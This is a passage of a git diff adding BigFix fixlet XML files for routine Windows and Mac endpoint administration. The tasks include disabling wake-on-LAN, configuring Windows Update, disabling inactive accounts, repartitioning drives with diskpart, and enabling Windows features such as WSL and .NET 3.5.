+    <Relevance>(it = &quot;WinXP&quot; OR it = &quot;WinXP-2003&quot; OR it = &quot;WinVista&quot; OR it = &quot;Win7&quot; OR it = &quot;Win2008&quot; OR it = &quot;Win2008R2&quot; OR it = &quot;Mac OS X&quot;) of name of operating system</Relevance>
+    <Relevance>if ((it = &quot;WinXP&quot; OR it = &quot;WinXP-2003&quot; OR it = &quot;WinVista&quot; OR it = &quot;Win7&quot; OR it = &quot;Win2008&quot; OR it = &quot;Win2008R2&quot;) of name of operating system) then ((exists values whose(name of it = &quot;PnPCapabilities&quot; AND it as integer = 48 ) of keys whose(value &quot;Characteristics&quot; of it as integer = 132) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}&quot; of registry)) else (if (name of operating system =&quot;Mac OS X&quot;) then (if exists file &quot;/Library/Preferences/SystemConfiguration/com.apple.PowerManagement.plist&quot; then ((if it = 1 then true else false) of integer &quot;Wake On LAN&quot; of dictionary &quot;AC Power&quot; of dictionary &quot;Custom Profile&quot; of dictionary of file &quot;/Library/Preferences/SystemConfiguration/com.apple.PowerManagement.plist&quot;) else false) else false)</Relevance>
+    <Relevance>not exists settings whose(name of it contains &quot;PowerManagement_LastManStanding&quot; AND value of it = &quot;1&quot;) of client</Relevance>
+    <Category>Wake-on-LAN</Category>
+    <Source>BigFix</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2010-08-13</SourceReleaseDate>
+    <SourceSeverity>N/A</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 01 Aug 2012 01:09:07 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Thu, 17 Nov 2011 19:28:18 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-domain_attributes</Name>
+      <Value>Manage_WFSBMP</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action506">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to disable Wake-from-Standby on all network adapters. </PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[if{name of operating system = "Mac OS X"}
+	wait pmset -a womp 0
+else if{(it = "WinXP" OR it = "WinXP-2003" OR it = "WinVista" OR it = "Win7" OR it = "Win2008" OR it = "Win2008R2") of name of operating system}
+	delete __appendfile
+	delete disableWakeFromStandby.reg
+appendfile {"Windows Registry Editor Version 5.00%0d%0a%0d%0a" & concatenation "%0d%0a"  of ( "[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}}\" & name of it &"]%0d%0a%22PnPCapabilities%22=dword:00000030%0d%0a")of keys whose (value "Characteristics" of it as integer  = 132 AND (not exists value "PnPCapabilities"  of it OR value "PnPCapabilities"  of it as integer != 48 )) of key "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}}" of registry}
+copy __appendfile disableWakeFromStandby.reg
+waithidden cmd /c regedit -s disableWakeFromStandby.reg
+action requires restart
+endif]]></ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable Windows Update (26611).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable Windows Update (26611).bes
new file mode 100644
index 000000000..402f5f46b
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable Windows Update (26611).bes	
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Disable Windows Update
+  ID       : 26611
+  Author   : 6906AC99-CFAD-4BC2-8B69-999D8150433C
+  Domain   : BESC
+  Imported : 2019-03-14T05:05:36
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Disable Windows Update</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(exists value &quot;AutoUpdate&quot; whose (it != 1) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU&quot; of registry)</Relevance>
+    <Source>Brad Sexton</Source>
+    <SourceReleaseDate>2018-10-08</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 04 Dec 2018 21:37:41 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+regset [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU] &quot;AutoUpdate&quot;=dword:0000001</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable inactive users (2549).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable inactive users (2549).bes
new file mode 100644
index 000000000..cb0bc0651
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable inactive users (2549).bes	
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Disable inactive users
+  ID       : 2549
+  Author   : sinucus
+  Domain   : BESC
+  Imported : 2013-08-07T12:51:37
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Disable inactive users</Title>
+    <Description>Creates a batch script to disable users who have not logged in for 30 days and are currently active. If their account is disabled, this will skip over them.</Description>
+    <Relevance>name of operating system as lowercase starts with &quot;win&quot;</Relevance>
+    <Relevance><![CDATA[exists users whose ((now - (last logon of it) > 30 * day) and name of it does not contain "$" and not account disabled flag of it)]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2013-08-07</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 07 Aug 2013 19:48:11 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[delete __appendfile
+delete __disable.bat
+appendfile {("net user " & name of it & " /active:no%0d%0a") of users whose ((now - (last logon of it) > 30 * day) and name of it does not contain "$" and not account disabled flag of it)}
+copy __appendfile __disable.bat
+waithidden __disable.bat
+delete __appendfile
+delete __disable.bat]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable inactive users (3873).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable inactive users (3873).bes
new file mode 100644
index 000000000..a8f494108
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable inactive users (3873).bes	
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Disable inactive users
+  ID       : 3873
+  Author   : sinucus
+  Domain   : BESC
+  Imported : 2014-10-09T07:03:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Disable inactive users</Title>
+    <Description>Creates a batch script to disable users who have not logged in for 30 days and are currently active. If their account is disabled, this will skip over them.</Description>
+    <Relevance>name of operating system as lowercase starts with &quot;win&quot;</Relevance>
+    <Relevance><![CDATA[exists users whose ((now - (last logon of it) > 30 * day) and name of it does not contain "$" and not account disabled flag of it)]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2013-08-07</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 07 Aug 2013 19:48:11 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[delete __appendfile
+delete __disable.bat
+appendfile {("net user " & name of it & " /active:no%0d%0a") of users whose ((now - (last logon of it) > 30 * day) and name of it does not contain "$" and not account disabled flag of it)}
+copy __appendfile __disable.bat
+waithidden __disable.bat
+delete __appendfile
+delete __disable.bat]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Diskpart Repartition - Shrink C_ Partition & Create M_ Partition (25433).bes b/Sites/Windows Management/Fixlets/Fixlets/Diskpart Repartition - Shrink C_ Partition & Create M_ Partition (25433).bes
new file mode 100644
index 000000000..3b1002522
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Diskpart Repartition - Shrink C_ Partition & Create M_ Partition (25433).bes	
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Diskpart Repartition - Shrink C: Partition & Create M: Partition
+  ID       : 25433
+  Author   : rdshift
+  Domain   : BESC
+  Imported : 2018-04-10T09:44:03
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Diskpart Repartition - Shrink C: Partition &amp; Create M: Partition</Title>
+    <Description><![CDATA[<P>Requests new partition size to be:</P>
+<OL>
+<LI>Maximum: 49% of drive size if&nbsp;at least&nbsp;59% of drive is free, leaving&nbsp;at least&nbsp;10% free
+<LI>The greater of:
+<OL>
+<LI>Current free space of drive less 10% of total drive&nbsp;size
+<LI>49% of free space of drive
+<LI>20 GB minimum</LI></OL></LI></OL>
+<P>Repartitioning will&nbsp;probably fail on dynamic and dynamic&nbsp;disks, but should work on both GPT and MBR.</P>
+<P>If you change the drive name (line 22) or drive letter (line 23), please also update the relevance to match.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[if (NOT (exists ((volumes of drives) whose (it = "MDT")) OR exists drive "M:")) then ((free space of drive of system folder / 1024 / 1024 / 1024 /*gigs*/) >= 20 /*gigs*/) else false]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2018-03-02</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 04 Apr 2018 18:22:00 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// continue if {(last 1 of (selects "Partitions from Win32_DiskDrive" of wmi as string)) as integer < 4}
+
+// Preventative cleanup of unallocated space
+delete mdtreclaim.txt
+
+createfile until END
+select volume c
+extend noerr
+exit
+END
+
+move __createfile mdtreclaim.txt
+waithidden cmd.exe /c diskpart /s mdtreclaim.txt
+
+
+// Main repartition operation
+delete mdtdrive.txt
+
+createfile until END
+select volume c
+extend noerr
+shrink desired={if ((free space of drive of system folder / 1024 / 1024 ) - (total space of drive of system folder / 1024 / 1024 * 10/100)) > (total space of drive of system folder / 1024 / 1024 * 59/100 /* increased to 59% to account for leftover free space */) then (total space of drive of system folder / 1024 / 1024 * 49/100) else ((free space of drive of system folder / 1024 / 1024) - (total space of drive of system folder / 1024 / 1024 * 10/100))} minimum=20000
+create partition primary
+format quick fs=ntfs label="MDT" noerr
+assign letter="M"
+exit
+END
+
+move __createfile mdtdrive.txt
+waithidden cmd.exe /c diskpart /s mdtdrive.txt
+
+waithidden cmd.exe /c diskpart /s mdtreclaim.txt
+
+delete mdtdrive.txt
+delete mdtreclaim.txt]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enable Administrator Account (615).bes b/Sites/Windows Management/Fixlets/Fixlets/Enable Administrator Account (615).bes
new file mode 100644
index 000000000..d45c17902
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enable Administrator Account (615).bes	
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Enable Administrator Account
+  ID       : 615
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-22T09:47:24
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Enable Administrator Account</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists local user &quot;Administrator&quot; OR exists local user &quot;TheAdministrator&quot;</Relevance>
+    <Relevance>account disabled flag of local user &quot;Administrator&quot; OR account disabled flag of local user &quot;TheAdministrator&quot;</Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-01</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 22 Oct 2012 14:43:32 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to enable the Administrator Account.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+if {exists local user &quot;Administrator&quot;}
+	wait net user Administrator /active:YES
+else  //if {exists local user &quot;TheAdministrator&quot;}
+	wait net user TheAdministrator /active:YES
+endif
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enable IE Compatibility Mode for All Websites for Currently Logged On User (645).bes b/Sites/Windows Management/Fixlets/Fixlets/Enable IE Compatibility Mode for All Websites for Currently Logged On User (645).bes
new file mode 100644
index 000000000..4789c4de5
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enable IE Compatibility Mode for All Websites for Currently Logged On User (645).bes	
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Enable IE Compatibility Mode for All Websites for Currently Logged On User
+  ID       : 645
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-26T17:16:45
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Enable IE Compatibility Mode for All Websites for Currently Logged On User</Title>
+    <Description>Enable Internet Explorer Compatibility Mode for All Websites for the Currently Logged On User </Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance><![CDATA[NOT (exists value "AllSitesCompatibilityMode" whose (it = 1) of key "Software\Microsoft\Internet Explorer\BrowserEmulation" of key ("HKEY_USERS\" & (name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7" OR name of operating system = "WinVista") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry)) of registry)]]></Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-26</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 26 Oct 2012 21:42:01 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "currentUser"="{(name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7" OR name of operating system = "WinVista") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry)}"
+regset "[HKEY_USERS\{parameter "currentUser"}\Software\Microsoft\Internet Explorer\BrowserEmulation]" "AllSitesCompatibilityMode"=dword:00000001
+]]></ActionScript>
+    </DefaultAction>
+    <Action ID="Action884">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to source of information.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://www.sevenforums.com/tutorials/1220-internet-explorer-compatilbility-view-all-websites.html</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enable Microsoft-Windows-Subsystem-Linux (Ubuntu BASH) - Windows Features (20682).bes b/Sites/Windows Management/Fixlets/Fixlets/Enable Microsoft-Windows-Subsystem-Linux (Ubuntu BASH) - Windows Features (20682).bes
new file mode 100644
index 000000000..3cb27be35
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enable Microsoft-Windows-Subsystem-Linux (Ubuntu BASH) - Windows Features (20682).bes	
@@ -0,0 +1,58 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Enable Microsoft-Windows-Subsystem-Linux (Ubuntu BASH) - Windows Features
+  ID       : 20682
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-05-20T22:05:52
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Enable Microsoft-Windows-Subsystem-Linux (Ubuntu BASH) - Windows Features</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>x64 of operating system</Relevance>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists values whose(&quot;Microsoft-Windows-Subsystem-Linux&quot; = name of it AND it as string as integer = 255) of keys &quot;Updates&quot; of keys of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages&quot; of (x64 registries; x32 registries)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-20</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Sat, 21 May 2016 04:58:23 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// disable wow64 redirection if x64 bit OS
+action uses wow64 redirection {not x64 of operating system}
+
+// https://www.raymond.cc/blog/add-or-remove-windows-features-through-the-command-prompt/
+// dism /online /get-features
+// dism /online /Get-FeatureInfo /FeatureName:Microsoft-Windows-Subsystem-Linux
+//Feature Name : Microsoft-Windows-Subsystem-Linux
+//Display Name : Windows Subsystem for Linux (Beta)
+//Description : Provides services and environments for running native user-mode Linux shells and tools on Windows.
+//Restart Required : Required
+
+
+// http://www.infralib.com/2013/02/running-64bit-cmd-via-32bit-sccm-client/
+waithidden &quot;{pathname of system folder}\dism.exe&quot; /NoRestart /Quiet /online /enable-feature /FeatureName:Microsoft-Windows-Subsystem-Linux
+
+// Restart Required
+action requires restart
+
+//  Raw Registry Location:
+// HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Microsoft-Windows-Lxss-Optional-Package~31bf3856ad364e35~amd64~~10.0.14342.1000\Updates
+//  Related:
+// https://bigfix.me/fixlet/details/823
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enable Named Pipes (107).bes b/Sites/Windows Management/Fixlets/Fixlets/Enable Named Pipes (107).bes
new file mode 100644
index 000000000..eec4c6c66
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enable Named Pipes (107).bes	
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Enable Named Pipes
+  ID       : 107
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-17T09:31:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Enable Named Pipes</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance><![CDATA[exists key ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\" & (value "MSSQLSERVER" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL" of native registry as string) & "\MSSQLServer\SuperSocketNetLib\Np") of native registry]]></Relevance>
+    <Relevance><![CDATA[exists value "Enabled" whose (it != 1) of key ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\" & (value "MSSQLSERVER" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL" of native registry as string) & "\MSSQLServer\SuperSocketNetLib\Np") of native registry]]></Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-08-20</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 30 Aug 2012 15:51:56 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to enable MS SQL Named Pipes.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+if {x64 of operating system}
+	regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\{(value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry as string)}\MSSQLServer\SuperSocketNetLib\Np]&quot; &quot;Enabled&quot;=DWORD:00000001
+else
+	regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\{(value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry as string)}\MSSQLServer\SuperSocketNetLib\Np]&quot; &quot;Enabled&quot;=DWORD:00000001
+endif</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enable Named Pipes (641).bes b/Sites/Windows Management/Fixlets/Fixlets/Enable Named Pipes (641).bes
new file mode 100644
index 000000000..104ed5e29
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enable Named Pipes (641).bes	
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Enable Named Pipes
+  ID       : 641
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-26T12:05:05
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Enable Named Pipes</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance><![CDATA[exists key ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\" & (value "MSSQLSERVER" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL" of native registry as string) & "\MSSQLServer\SuperSocketNetLib\Np") of native registry]]></Relevance>
+    <Relevance><![CDATA[exists value "Enabled" whose (it != 1) of key ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\" & (value "MSSQLSERVER" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL" of native registry as string) & "\MSSQLServer\SuperSocketNetLib\Np") of native registry]]></Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-08-20</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 30 Aug 2012 15:51:56 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to enable MS SQL Named Pipes.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+if {x64 of operating system}
+	regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\{(value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry as string)}\MSSQLServer\SuperSocketNetLib\Np]&quot; &quot;Enabled&quot;=DWORD:00000001
+else
+	regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\{(value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry as string)}\MSSQLServer\SuperSocketNetLib\Np]&quot; &quot;Enabled&quot;=DWORD:00000001
+endif</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enable NetFx3 - .NET 2 & 3 - Windows Features (22635).bes b/Sites/Windows Management/Fixlets/Fixlets/Enable NetFx3 - .NET 2 & 3 - Windows Features (22635).bes
new file mode 100644
index 000000000..d8fa236c5
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enable NetFx3 - .NET 2 & 3 - Windows Features (22635).bes	
@@ -0,0 +1,53 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Enable NetFx3 - .NET 2 & 3 - Windows Features
+  ID       : 22635
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-11-18T15:52:51
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Enable NetFx3 - .NET 2 &amp; 3 - Windows Features</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows 8 or later */ version of operating system >= "6.2"]]></Relevance>
+    <Relevance>not exists (it as version) whose(&quot;3.5&quot;=it) of following texts of firsts &quot;v&quot; of names of keys of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP&quot; of (x64 registries;x32 registries)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-20</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 18 Nov 2016 20:11:32 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+// disable wow64 redirection if x64 bit OS
+action uses wow64 redirection {not x64 of operating system}
+
+
+waithidden &quot;{pathname of system folder}\dism.exe&quot; /NoRestart /Quiet /online /enable-feature /featurename:NetFx3 { if ( (it contains &quot;Win2008R2&quot;) of name of operating system ) then &quot;&quot; else &quot;/all&quot; }
+
